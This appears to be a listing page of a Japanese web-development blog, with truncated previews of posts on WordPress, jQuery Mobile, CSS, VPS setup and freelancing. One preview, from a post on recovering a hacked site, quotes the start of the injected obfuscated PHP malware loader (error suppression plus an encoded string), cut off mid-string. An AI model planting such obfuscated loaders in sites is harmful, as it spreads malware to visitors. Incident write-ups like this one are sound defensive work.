WordPress のテーマで画像を使う場合は、WordPress のテーマファイル内に画像を詰め込み、実際に読み込む際はテーマファイルでは以下のように WordPress のタグを使って読み込むと思います。

前回の基礎知識や開発環境の準備編で、基本的な勉強や開発環境は揃えましたので、本記事では具体的な制作に入っていきます。 どんな風に作るのか ハイクオリティで広範囲のプラットフォームに対応したスマートフォンサイトを作りあげるにあたって jQuery Mobile を使用していきます。また URL は統一して（スマホサイトを別 URL で作成せず）スマホアクセス時にスマホ用の出力に最適化します。そのため、サイトの構造に変更は加えませんが、全てのページにおいてスマホ用のレイアウトを出力できるように変更を加えていきます。 jQeury Mobile について スマホサイトの作成に jQuery Mobile について学んでいきます。今まで jQuery Mobile を使用したことがありませんので、今回一から全て勉強しました。といっても、基本的なことは全て下記サイトにありますので、jQuery Mo

今までスマホサイトを制作したことが無いので、サイト設計から基礎知識、デザインの知識など一から全て勉強していきますので、その点についてまとめて行きます。 用語整理 まず初めてに新しい用語などについて整理していきます。用語については自信ある方はこの項目は飛ばして下さい。 「スマホ」と「スマフォ」どっちが一般的なのか 今まで「スマホ」だと思っていたのですが、最近「スマフォ」と呼称する人を見かけるようになりました。確かに「スマートフォン」を略すなら「スマフォ」の方が正しそうな気がしますが、Google で調べた所検索ボリュームの数が「スマホ」の方が圧倒的に多いので、私は略す場合は「スマホ」で通していくことにします。 フィーチャーフォン (ガラパゴスケータイ) 日本独自の進化を遂げた携帯をガラパゴス携帯、略してガラケーと呼びます。個人的にはガラケーという言葉を使っていたのですが、ガラケーではなく「フ

Web サイトで使える萌えキャラの素材が無いかと探していたらキャラクターなんとか機というのを発見しました。 萌えキャラを作成する方法 ソフトを起動してこのようにパーツを選択するだけでOKです。色に関しても別タブから設定することができるので、ある程度自由に設定することができます。ちなみにこのスクリーンショットではこれゾンのハルナを意識して作ってます。 作成したキャラは PNG で書き出しできます このように透過 PNG で書き出せるのですぐにサイトに貼り付けて利用することができます。他の方法でも書きだすことができます。 おわりに DVD-ROM付き 萌えキャラフリーイラスト集 他にも萌えキャラの素材ということであればフリーイラスト集なんかもあります。こちらも購入しましたので、時間がある時にでもレビューさせて頂きたいと思います。

Web サービスで生活すると言って独立して8ヶ月目になります。もう Web サービスで生活できるーという感じでは全然なくて、少しずつ少しずつ増えている程度です。そんな状態ですが、一度今の私の考えをまとめてみたいと思います。自分のやる気アップのためも兼ねています。 8ヶ月間での収益変化について 序盤 独立間近はこのような比率でサービスだけでは税金払うだけでキツかったので受託を組み込んでいました。ちなみに個人事業主の税金は会社員より高めなのです。 後半 8ヶ月経ってこのような感じになりました。サービスも増えて受託も減って、ブログにもスポンサーが付いてるおかげで増えました。その他は自由な立場を利用していろいろやってます。 独立序盤の生活費はどこからやってくるのか 独立間近はもちろんサービスからの収益はたくさんは無かったので、序盤は生活資金を集めるために受託をメインでやっていました。サイト売買など

改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn

ロードアベレージ通知するだけなら負荷監視ツールを入れるより、PHP なりで書くほうが楽で簡単とのことで友達に教えてもらいましたので、ひとつ書いてみました。以下のコードを loadave.php など適当な名前で保存して cron で定期実行すれば良いです。 <?php mb_language("ja"); mb_internal_encoding("UTF-8"); date_default_timezone_set('Asia/Tokyo'); $servername = 'localhost '; // サーバー名(任意) $mail1 = 'info@example.com'; // 通知先1 $mail2 = 'alert@example.com'; // 通知先2 $notice1 = '3.00'; // 通知ライン1 $notice2 = '5.00'; // 通知ライン2

WordPress のテーマをカスタマイズするにはローカルにインストールした WordPress を使うのが良いです。最近は便利なソフトがあるようですが、ソフトを学ぶより一般的なインストール方法を知りたいという人向けに書いていきます。 開発環境を構築する 開発環境にインストールする人は開発環境を用意します。まだ作ってない人は以下の環境を構築してください。リモートサーバーにインストールする人は要件だけ確認して読み飛ばしてください。 PHP バージョン 5.2.4 以上 MySQL バージョン 5.0 以上 ※WordPress 3.2.1 時の要件です。 構築の仕方が分からない人は以下の記事を参考にしてください。 Windows / Mac / Linux で PHP + MySQL の開発環境を構築する WordPress のファイルをダウンロードする 今回は http://example

カスタムフィールドの使い方をシンプルに教えます。一度覚えれば一生使えますので一緒に勉強していきましょう。 カスタムフィールドとは ブログの今日の一言とかを作るのに良いです。ブログ記事の抜粋部分とかサブタイトルを入れたりと、別枠で好きな枠組みを作れるのでアイディア次第でいろいろ作れます。分からない方はこれを読むとカスタムフィールドが何かに着いて理解できるかもしれません。 簡単なカスタムフィールドの使い方 管理画面のどこにカスタムフィールドを使うところがあるの？ デフォルトで表示されてたり、されてないかもしれません、まずは画像のように表示オプションからカスタムフィールドが有効になっていることを確認します。 下に行くとカスタムフィールド欄が出現 これがカスタムフィールド欄です。 カスタムフィールドに何か入力します 左側はカスタムフィールドの名前、右側は値を入れます。今日の一言を実装するなら画像の

時間に余裕がある人やフリーランスの人はオークション（例えばヤフオク）を始めると便利。今回はオークション入門編ということで、誰でも簡単にできる「小物」の売り方・配送方法などをベースに紹介します。 使わなくなった小物を売ると得られるメリット 部屋に以下のようなモノは無いですか。 買ったけど何年も読んでいない技術本 既に読み終わってもう読まない本 既にクリアしてしまったゲーム 何度も聴いて飽きてしまった音楽 CD もう見飽きてしまった DVD こういうものは売ってしまいましょう。 小物を売ってお小遣い稼ぎができる 3,000円の人気な CD アルバムなら、1,000円前後で売れます。不人気だともっと安くなりますが、単純計算をすれば CD アルバムを100枚売れば、これだけで100,000円になりますね。（追記：いくつか意見を頂きました。マニアックなアーティストの曲を聞く人だと売るのが難しいかもし

フリーランスで Web サービス運営、システム構築、あと簡単なデザイン、IT 以外もいろいろやってましたが、悩みを思いっきりどこかに吐き出したいし、自分の考えてること整理するために書くことにしました。 個人起業して一人で Web サービスとかを制作・運営して、家で好きなだけ寝ていたいと思ってる人は一度読んでみると良いです。 人は一人じゃ生きていけないと思った。 フリーランスになるという記事を書いたとき「どこかのオフィスを間借りする」ということでしたが、結局以下の理由でいきませんでした。 一人で作業するならそこに行く必要がない。 交通費というコストがかかる。 結果的に家で作業することにしましたが。 家で作業するから間借りさせてくれる会社に行かない。 関わり合いもあんまり無い。 ということで、間借りさせてくれるという会社のオフィスにいけなくなり、次第に引きこもりみたいになって、社会から孤立し、

ブログは誰かのために書くものではなく、自分のために書くものだと思っています。良くある人気ブログと言われるブログって、あれはブログというより、ニュースサイトというかそういう部類だと思っています。例えば GIGAZINE とかブログですけど、あれはニュースサイトみたいです。 今回はブログを皆に進めるのとついでに、私がブログを作るとき、書くときに注意していることをまとめて紹介しておきます。興味ある人は読んでみてください。 備忘録ブログを書くと3つの良いことがあります 一度見たことは忘れない天才になれる 作業メモなどを残しておくことで、同じことをするときに作業メモを見れば良いので楽です。あと、半年前に書いたコードは他人のコードみたいになるときがありますけど、コードの断片や、組み方もブログにメモしておけばそういうことはなくなります。覚えるのが苦手な人でも平気です。 知らない友達がたくさんできる ブロ

/* 編集が必要なのはここまでです ! WordPress でブログをお楽しみください。 */ define( 'WP_ALLOW_MULTISITE', true ); ネットワークの設定をする 管理画面にアクセスするとネットワークという項目がツール辺りに出現します。中に入るとサブドメインかサブディレクトリを選択できますので、好きな方を選ぶとその後の必要な作業を教えてくれます。簡単な作業なのでここでは割愛させて頂きます。 特権管理者について マルチサイト化をすることで、最高権限が管理者から特権管理者に変わります。サイト内で管理者となっている人よりも、特権管理者の方が強いです。プラグインによっては特権管理者しか設定を触れないものもあります。特権管理者は特権管理者が自由に与えることができますが、サイトの所有者などを自由に変えることができるため、容易に与え無いほうが良いかもしれません。 既に運

はじめてのさくら VPS + CentOS の初期設定からチューニングなどの作業まとめで一般的なサーバーの設定方法を紹介しましたが、さくらのVPS の設定の中で APC の入れ方や nginx の入れ方などは試せなかったので追記としてメモしておきます。 今回も以下の記事を参考にさせて頂きました。ここに全てがあるので私の記事では作業をシンプルに紹介していきます。ここに書いてない物についてはこの記事で書いてみます。 ウェブ開発者のための、1時間でできるLAMP環境構築術（CentOS編） – さくらインターネット創業日記 CentOS 5.6 へアップグレードする さくら VPS はこのブログを書いている現時点で契約した状態だと CentOS 5.5 がインストールされています。そのため CentOS を 5,6 にアップデートします。 まず自分の環境が CentOS 5.5 なのかを調べます

数GBのダンプファイルをインポートしたくても共用サーバーの場合ですと数十MBに制限されていることが多くて入れられません。VPS や専有サーバーの場合は設定を変更してアップロードできる最大サイズを変更する方法もありますが、ファイルサイズが増えるたびに変更するのは大変です。 しかし BigDump を使えば巨大な SQL ファイルをサーバーに合わせて分割インポートしてくれるので、ファイルサイズが大きくなってもサーバーの設定を変更しなくても良いですし、共用サーバーでも巨大なファイルをインポートすることができます。 ここでは BigDump を使った SQL ファイルのインポートを説明します。説明にあたって以下のページが参考になりましたのでこちらも御覧ください。 WikiCookRecipe日記: MySQLインポートファイルがでかすぎる時には BigDump を使ってみよう！ MySQL のデー

Google の SERP にパンくずリストを表示させられるようにするための microdata 対応のパンくずリストに対応した、HTML + CSS のみで実装できるオシャレなパンくずリストを作ったので良かったら使ってください。 <div class="breadcrumbs"> <div itemscope itemtype="http://data-vocabulary.org/Breadcrumb"> <a href="http://www.example.com/dresses" itemprop="url"> <span itemprop="title">洋服</span> </a> › </div> <div itemscope itemtype="http://data-vocabulary.org/Breadcrumb"> <a href="http://www.exam

Yet Another Related Posts Plugin は WordPress で関連記事を出力することができます。プラグインをインストールするだけで自動的に記事の下に出力してくれます。出力される HTML も管理画面から変更できます。RSS にも出力してくれます。導入からカスタマイズまでが一番速そうです。 管理画面も日本語で変更したいと思えることは全て管理画面からの操作で解決できます。関連記事を表示して平均PVを底上げできれば良いですね。WordPress でブログを作る際は必須プラグインにしてしまっても良いかもしれません。良ければ皆さんも導入してみてください。

wp_enqueue_script( 'twitter_followbutton', 'http://platform.twitter.com/widgets.js', null, null, true); 次に Twitter のボタンを設置したいところに以下のように記述をする。hoge と書いてある部分を自分のIDに置き換えてください。投稿内でも良いですし、テーマファイルでも構いません。どこに書いてもボタンになります。

画像のように3の倍数の時だけ何かスタイルを適用したい場合 CSS3 の nth-child() 疑似クラスを使えば簡単に解決することができます。 HTML <ul> <li>リスト1</li> <li>リスト2</li> <li>リスト3</li> <li>リスト4</li> <li>リスト5</li> <li>リスト6</li> <li>リスト7</li> <li>リスト8</li> <li>リスト9</li> </ul>